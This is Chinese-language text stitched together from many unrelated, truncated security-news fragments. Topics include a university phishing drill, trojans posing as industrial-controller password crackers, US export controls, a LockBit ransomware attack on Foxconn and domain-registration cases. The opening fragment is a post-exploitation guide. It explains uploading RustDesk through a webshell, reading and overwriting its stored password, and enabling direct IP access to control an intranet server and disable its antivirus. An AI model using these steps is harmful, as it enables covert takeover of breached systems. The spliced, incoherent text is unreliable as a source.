是：普通权限即可运行，而且支持纯内网环境。RustDesk地址：http://rustdesk.com/zh/注意：RuskDesk控制端和被控制端是同一个应用2、RustDesk使用通过webshell上传rustdesk运行rustdesk靶机会弹框，这个不需要管，我们直接去找配置文件配置文件地址：C:\Users\用户名\AppData\Roaming\RustDesk\config获取id和密码成功连接3、踩坑实录（1）要下载RustDesk的portable版本，不要下载puts版本。portable版本免安装，puts版本会弹框提示安装个版本下载地址：https://gitee.com/rustdesk/rustdesk/releases（2）不知道是不是RustDesk的bug还是出于安全考虑，如果是第一次在目标上运行RustDesk，RustDesk不会立即将密码保存到配置文件，而此时你把鼠标放在显示密码时则会保存到文件，遇到这种情况我们只需运行RustDesk，生成配置文件后结束RustDesk进程，然后修改配置文件里password为指定密码，再运行RustDesk即可。修改配置文件password重新启动RustDesk成功修改密码4、RustDesk在纯内网环境中的优势有时候我们打点控了一台跳板机，在内网有一台服务器有webshell权限，但是这台机器又不出网，而且上面装了多个杀软，防护开到最严，你又不知道目标账号密码，这时候你许多操作都会受限，这种场景还是挺常见的。这时候如果能远程过去把杀软退掉可能是一种捷径，而RustDesk就支持在内网使用IP进行直连。在RustDesk默认设置中，允许IP直接访问功能未开启，如下图：针对这个问题，我们可以修改配置文件RustDesk2.toml，在options下添加一行然后重启RustDesk即可。RustDesk的实现IP直接访问功能监听的默认端口是21118，这个端口也是可以修改的，同样的步骤修改配置文件RustDesk2.toml，在options下添加一行direct-access-port

中秋节，多所高校推出中秋月饼。然而，近日有中国科学技术大学学生在社交媒体发帖称，收到了“中秋免费月饼领取”的邮件，但填写资料后却没有领到月饼......据上游新闻消息，9月8日上午，中科大网络信息中心程老师表示，这其实是一次官方“整活”，是“全校首次钓鱼邮件演练。”大一新生“中招”最多有学生反攻钓鱼服务器程老师透露：“9月7日下午5点半，我们利用大家刚放学思想比较松懈的机会，在一个小时发送了4万多封邮件，这些邮件全部针对中科大校内的师生，其中学生有3万多人，教职工有6000多人。结果中招的人并不少，晚上6点半-7点半的时候，钓鱼网站的访问人数高达8000人次，大大超过了我们的预期。”程老师还表示：“这次演练当中，有不少同学填写了真实资料，其中人数最多的是本科一年级的新生。他们相关网络安全知识比较欠缺，下一步我们会着重对他们进行网络安全培训。”在众多师生当中，有人不幸“中招”，也有人保持清醒，还有同学的应对措施让程老师直呼内行：“我们在后台看到，部分学生提交了虚假信息，说明他们有了防范意识；还有学生对我们的钓鱼网站进行了DDOS攻击，他们还在QQ群分享说免费的靶场来了，不打白不打，当时一度把钓鱼网站整瘫痪了。不过在这次演练之前，我们向清华大学取经时，他们就提示了肯定会有学生攻击，因此我们也做了防范措施，所以最后并未造成服务器的损失。”为了避免钓鱼邮件演练变成“狼来了”，让学校的师生对官方发布的邮件失去信任，程老师表示他们对方案进行了调整，留下了很多“马脚”，譬如邮箱缩写、联系电话等，“如果足够细心，是可以看出很多‘马脚’的。”多所高校提醒师生防范钓鱼邮件中国青年报注意到，近日，多所高校提醒学生甄别钓鱼，积极防范！就在9月6日，中国科学技术大学公布一组数字：2022年1月-8月，该校邮件服务器有921个账号被黑客窃取密码发送垃圾邮件，平均每天近4个账号被窃取密码。学校同时表示，“我们发现近一个月以来，不法分子开始针对我校的人员特点，编写针对性的钓鱼邮件，手段也越发隐蔽。”2021年，清华大学和北京大学陆续进行了钓鱼邮件演练。北京大学称：演练当天，共有4万余名师生收到这封模拟“钓鱼邮件”，54%的师生阅读了邮件，其中约5000名师生点击了可疑链接，约2000名师生在后续登录页面输入了用户名和密码。据初步统计，90%的师生阅读邮件后没有输入用户名密码，表现出北大师生普遍较好的安全防范意识，同时，教师的安全意识率略高于学生。提高警惕，不随意点击邮件链接，不轻易输入账号、密码。防范钓鱼邮件！最后小编祝大家中秋节快乐，幸福美满~祝所有老师，节日快乐~文章来源

Group负责网络安全的研究主管Mauricio

前言昨天晚上，下班回到家正闲得没事做的时候，突然想起来之前和扣扣群里的群友玩游戏的时候群友搭了一个语音服务器，于是好奇心和职业病指引我去那个域名看看是啥网站，于是有了这一次的渗透之旅0x01

2021年上半年，网络安全产业人才需求总量较去年增长39.87%，同时，相关领域的薪资也在稳步提高，平均达到了22387元/月。

继今年6月份Forescout在“冰瀑漏洞”工控安全报告中披露了10家OT供应商产品中的56个冰瀑漏洞后，工控安全态势急剧恶化，一种伪装成工控系统密码找回工具的木马软件正在“热销”。根据Dragos本周发布的最新工控安全报告，伪装成工控系统可编程逻辑控制器（PLC）、人机界面（HMI）和项目文档密码破解器的恶意软件生态系统的雏形已经浮出水面，黑客在网上兜售大量工控系统设备的密码破解软件，宣称可以帮助忘记密码的工控系统工程人员找回系统设备密码，但这些软件实际上是木马软件，被安装后会加载僵尸病毒，将工控设备变成僵尸网络的一部分。许多企业都会发生丢失工控设备密码的情况。例如，用于工厂、发电厂和其他工业环境中的流程自动化的可编程逻辑控制器（PLC）可能会在部署几年后就被“遗忘”了。当后来的工程师发现影响PLC的问题时，他们可能会发现最初负责的工程师在离开公司之前从未留下密码。于是急于解决问题的工程师们很可能上网搜索“密码破解程序”，结果导致工控系统开始表现异常。根据安全公司Dragos的报告，如今整个恶意软件生态系统都试图利用工业设施内的此类问题和场景（找回密码）。例如下面这些宣称可破解PLC和人机界面密码的破解程序广告，表明此类恶意软件的销售似乎非常火爆。留神工控系统变成僵尸网络Dragos最近进行了一次例行的漏洞评估，发现了一个宣称能破解DirectLogic

最高检下发通知加强刑事检察与公益诉讼检察衔接协作严厉打击行业“内鬼”泄露公民个人信息违法犯罪近日，最高人民检察院印发《关于加强刑事检察与公益诉讼检察衔接协作严厉打击电信网络犯罪加强个人信息司法保护的通知》（下称《通知》）。要求各地检察机关积极推动促进个人信息保护法等法律法规的统一正确实施，参与网络空间治理，强化刑事检察和公益诉讼检察职能衔接协作，实现全链条打击、一体化网络治理。《通知》要求，深入开展依法打击行业“内鬼”泄露公民个人信息违法犯罪工作，积极配合“清朗”系列专项行动，探索积累常态化监督办案的典型经验。聚焦重点行业、重点领域、重点群体开展监督办案，包括处理大规模个人信息特别是个人敏感信息，容易产生个人信息泄露风险的重点行业；金融、电信、互联网、就业招聘行业中容易产生电信网络诈骗违法犯罪风险的重点领域；容易受到电信网络诈骗违法犯罪侵害的老年人、在校学生、未成年人等重点群体。在严厉打击刑事犯罪的同时，充分发挥公益诉讼检察职能，依法追究违法主体的民事责任，督促行政机关履职尽责，增强惩治预防效能。《通知》指出，要完善刑事检察、公益诉讼检察协作机制。包括建立线索移送机制、同步介入机制、人员协作机制和会商研判机制等。针对电信网络诈骗违法犯罪和个人信息公益损害呈现跨行政区划的特点，进一步加强大数据赋能，探索通过罪名、领域、行业等关键词自动抓取和智能算法技术，改革案件线索产出的供给侧，打破业务条线之间的数据壁垒。对易发、高发违法犯罪的系统性、普遍性、行业性问题，省级以上检察院可以联合挂牌督办或者部署开展专项整治行动，组建“刑事+公益诉讼+技术”检察办案团队，集中办理大案要案。《通知》要求，要进一步提升调查取证能力水平，增强刑事附带民事公益诉讼质效。加强刑事检察和公益诉讼检察部门在提前介入、引导侦查工作中的协同协作。积极运用认罪认罚从宽、少捕慎诉慎押、涉案企业合规改革等，创新公益损害替代修复方式，督促引导违法主体及时有效履行公益损害赔偿责任。《通知》强调，要进一步加强网络空间系统治理和溯源治理。结合监督办案加强类案治理的分析研判，注重发现执法司法、行业监管、信息公开、综合治理等工作中的问题和漏洞，精准向有关部门提出促进完善监管的检察建议，探索向有关网络平台提出依法履行社会责任的检察建议。文章来源：环球时报黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！如侵权请私聊我们删文END多一个点在看多一条小鱼干

本文系基于公开资料撰写，仅作为信息交流之用，不构成任何投资建议。2022年5月16日，俄罗斯黑客组织KillNet向包括美国、英国、德国在内10个国家的政府正式“宣战”。2022年4月28日，一则消息刷屏，北京健康宝在使用高峰期间，遭受到境外网络攻击。北京健康宝保障团队进行了及时有效应对，受攻击期间健康宝相关服务未受影响。2022年3月中国外交部发言人援引网络安全企业360公司发布的《网络战序幕：美国国安局NSA（APT-C-40）对全球发起长达十余年无差别攻击》报告称：“这一系列报告说明美国对中国进行了大规模、长时间、系统性的网络攻击，严重危害中国关键基础设施安全，海量个人数据安全以及商业和技术秘密，严重影响了中美在网络空间的互信。”……“从来没有什么岁月静好，只是有人在替你我负重前行”。我们要清醒的认识到，网络战不是科幻小说或者电影大片里幻想的未来，网络战就发生在当下，甚至每天都在发生。我们之所以每天能够安然享受互联网科技带来的生活便利，是因为我们背后有一群网络安全从业者在默默守卫着互联网安全。本文回顾了从1990年到2022年三十余载，中国网络安全行业的浩荡浮沉和峥嵘岁月。01时代的印记：杀毒软件时代不知道还有没有人记得下图这只可爱的小狮子？它会在

华为云带崩同花顺等一众应用，工行系统疑似崩溃6月13日上午11点左右，有大量网友发微博吐糟华为云崩了。与此同时，许多用户反映，同花顺上午部分时段出现无法交易，行情等界面出现卡顿现象。据财联社报道，同花顺回应表示，“华为云部分区域网络出问题，我们部分用户也因此受影响。”

俄罗斯频遭网络攻击！俄外交部称将反击俄方将根据俄罗斯法律和国际法采取反击措施。俄罗斯外交部国际信息安全司司长克鲁茨基赫9日说，俄方不会对西方针对俄的网络攻击行为置之不理。据俄外交部网站当天发布的消息，克鲁茨基赫在回答记者提问时说，俄国家机构、基础设施，以及俄公民和在俄外国人的个人数据存储等正在遭受网络攻击，美国和乌克兰的官员应对此负责。俄方将根据俄罗斯法律和国际法采取反击措施。克鲁茨基赫说，截至2022年5月，来自美国、土耳其、格鲁吉亚和欧盟国家的6.5万多名黑客定期参与针对俄关键信息基础设施的攻击，共有22个黑客组织参与了针对俄罗斯的网络攻击。克鲁茨基赫表示，西方将信息空间军事化，并试图将信息空间变成国家间对抗的舞台，这些都加大了直接军事对抗的风险，并带来不可预测的后果。域名不再使用，应及时注销ICP备案信息，否则域名将会有被盗用的风险现在的大部分人都喜欢注册域名，并且我们在注册域名时是需要进行备案登记信息的。如果域名即将到期并且不再续费使用了，是需要及时注销备案信息的，否则您的域名被人抢注后，域名的备案信息还是你的。以下进行三个案例分析：案例分析12022年5月，漳州某企业注册的域名到期后不再使用，但由于该企业未严格落实网络安全主体责任，网站运营管理不到位，存在链接被盗用的网络安全漏洞，导致出现淫秽色情类违法信息，造成不良社会影响。根据相关的法律法规，该企业受到相关公安局的行政警告，并对该企业负责人进行约谈，责令限期整改，并进行普法教育。案例分析22021年4月，江东公司突然接到法院通知，被律政公司以侵害作品信息网络传播权为由，起诉要求赔偿15万，理由是江东公司经营的某海影院提供的5部影视作品在线播放服务侵害其信息网络传播权。而江东公司称于2019年1月就已关闭了该网站，并且后期未对该域名进行续费，经调查，江东公司在2019年年底未对域名续费后，域名持有人发生了多轮变更，目前持有人显示为汪某，并非江东公司。但因未注销域名的备案，域名的ICP备案信息一直是江东公司。案例分析32020年8月，原告北京某公司取得《烽火丽人》、《战刀屠狼》等影片在中国大陆的独占信息网络传播权。2021年1月14日，原告发现域名为“

美国网络安全禁令生效，限制向包括中国在内的多个国家共享网络漏洞6月2日消息，美国商务部工业与安全局（BIS）正式发布了针对网络安全领域的最新的出口管制规定（以下简称“新规”），2022年5月26日，该规定已经发布在美国政府公报网站《联邦公报》上。BIS新规将全球国家分为ABDE四类，其中D类是最受关注、限制的国家和地区，我国被划分在D类里。根据新规的要求，各实体在与D类国家和地区的政府相关部门或个人进行合作时，必须要提前申请，获得许可后才能跨境发送潜在网络漏洞信息。当然条款也有例外，如果出于合法的网络安全目的，如公开披露漏洞或事件响应，无需提前申请。总的来说，BIS此次发布的新规和2021年发布的征求意见稿并无重大修改。微软发表评论，对未来表示担忧美商务部在公告中称，“有公司提出评论意见，如果强制要求对代表‘政府最终用户’的人申请许可，将阻碍与安全研究人员和漏洞奖励计划参与者的跨境合作。因为出口商在与对方沟通前，需要先查验此人是否隶属于D组国家政府。该公司建议[工业与安全局]删除或修改此要求，但建议未被接纳。”通过相关的评论内容，我们可以确定，提出反对意见的正是微软公司。微软公司写道，“由于无法确定参与安全研究和漏洞奖励计划的个人或实体，是否代表政府部门行事，新规落地后将限制微软等企业在多国市场上部署常规网络安全活动的能力。”“为了减轻可能的合规负担，避免对网络安全响应与协作产生意外影响，BIS应在‘政府最终用户’的定义中列举相应的典型‘代表’，或者至少应澄清哪些个人或实体适用于这一表述。”微软等国家科技巨头表露出担忧，认为全球网络安全漏洞共享机制很有可能遭遇严峻挑战。美商务部坚持意见，称对国家安全有好处美国商务部虽然根据反馈，对提案内容做出了一定修改，但暗示微软的建议可能导致新规整体失去意义。美商务部回应称，“对代表政府行事的人做出许可限制是必要的，这是为了防止代表D组国家政府行事的人，以破坏美国家安全和外交政策利益为目的接触‘网络安全项目’。”新规要求D组国家逐案接受审查，分别申请许可。“取消这一要求，有可能导致D组国家接触到这些项目。”微软感谢BIS采纳了研究界的反馈意见，在临时规定中添加了保护合法网络安全活动的规则“我们感谢BIS能够意识到此前的条款过于宽泛……并采取具体措施制定了新的细则，解决了网络安全社区表达的担忧之情。但我们仍不确定哪些行为合法、哪些非法，也不确定具体哪些活动需要申请许可。我们还担心许可申请流程过于繁琐，无法适应特定网络安全技术的需要。”美国商务部随后认可了微软的担忧，但与态度强硬的外国投资委员会一样，商务部仍然立场坚定地认为执行这一规定对于保障美国国家安全很有好处。禁止攻击性网络工具出口其实早在去年10月，美国BIS就发布了“禁止攻击性网络工具出口”的规定，旨在阻止美国实体单位向我国和俄罗斯出售攻击性网络工具，并明确指出任何受到美国武器禁运的国家都需要获得许可证才能获得某些技术。美国商务部长吉娜·雷蒙多表示，“对某些网络安全项目实施出口管制的临时最终规则是一种适当定制的方法，可以保护美国的国家安全免受恶意网络行为者的侵害，同时确保合法的网络安全活动。”同时，美国BIS进一步解释，该规则符合瓦森纳协议，全称《关于常规武器和两用物品及技术出口控制的瓦森纳协定》，协议管控“军事和两用技术”出口政策，共有42个协议国，包括美英法德，日本等。这里需要注意的是，俄罗斯是协议国之一，但依旧是禁运目标之一。富士康墨西哥工厂遭勒索软件攻击本周五，富士康公司确认其位于墨西哥的一家生产工厂在5月下旬受到勒索软件攻击的影响。富士康没有提供任何有关攻击者的信息，但勒索软件组织LockBit声称对此负责。富士康在墨西哥经营着三个工厂，分别负责生产计算机、液晶电视、移动设备和机顶盒，主要客户是索尼、摩托罗拉和思科系统公司。被攻击的富士康工厂位于墨西哥蒂华纳，是美国加州消费电子产品的重要供应中心，被认为是一个战略设施。富士康在一份声明中表示，勒索软件攻击对其整体运营的影响不大，工厂正在逐步恢复：“据证实，我们在墨西哥的一家工厂在5月下旬遭受了勒索软件网络攻击，公司的网络安全团队一直在相应地执行恢复计划。工厂正在逐步恢复正常。对业务运营造成的干扰，将通过产能调整处理。估计网络安全攻击对本集团整体营运影响不大。事件的相关信息也会立即提供给我们的管理层、客户和供应商。”根据富士康的通告，勒索软件组织LockBit在5月31日发起了攻击，威胁要泄露从富士康窃取的数据，除非富士康在6月11日之前支付赎金（下图）。这意味着赎金谈判可能尚未完全结束，网络犯罪分子仍希望与该公司达成协议。LockBit的赎金要求目前仍然未知，但考虑到该团伙的猎物通常是财大气粗的成功企业，此次的赎金金额大概率会是千万美元级别。LockBit没有透露任何失窃数据的信息，但通常勒索软件组织会窃取高价值信息作为胁迫受害者支付的筹码。由于富士康为许多品牌代工各种消费电子产品，LockBit2.0很可能已经窃取了技术原理图和图纸等机密知识产权信息。富士康墨西哥工厂此前曾遭受过一次重大勒索软件攻击。2020年12月，勒索软件组织DoppelPaymer攻击了富士康位于华雷斯城的CTBG

重磅！美国司法部修订法律，不再起诉白帽黑客行为计算机安全研究是提高网络安全的关键驱动力，此次公告希望为善意的安全研究人员提供清晰指引，鼓励研究者出于公共利益去根除漏洞。安全内参5月19日消息，据外媒Vice报道，美国司法部公布一项政策调整，将不再对违反美国联邦黑客法《计算机欺诈与滥用法》（CFAA）的善意安全研究提起诉讼。这项举措意义重大。长期以来，出于漏洞发现和修复等目的，安全研究人员往往需要探测甚至入侵目标系统。《计算机欺诈与滥用法》无疑对这部分研究者构成了威胁。此次政策修订，意味着善意安全研究不应面临指控。“计算机安全研究是提高网络安全的关键驱动力，”美国司法部副部长Lisa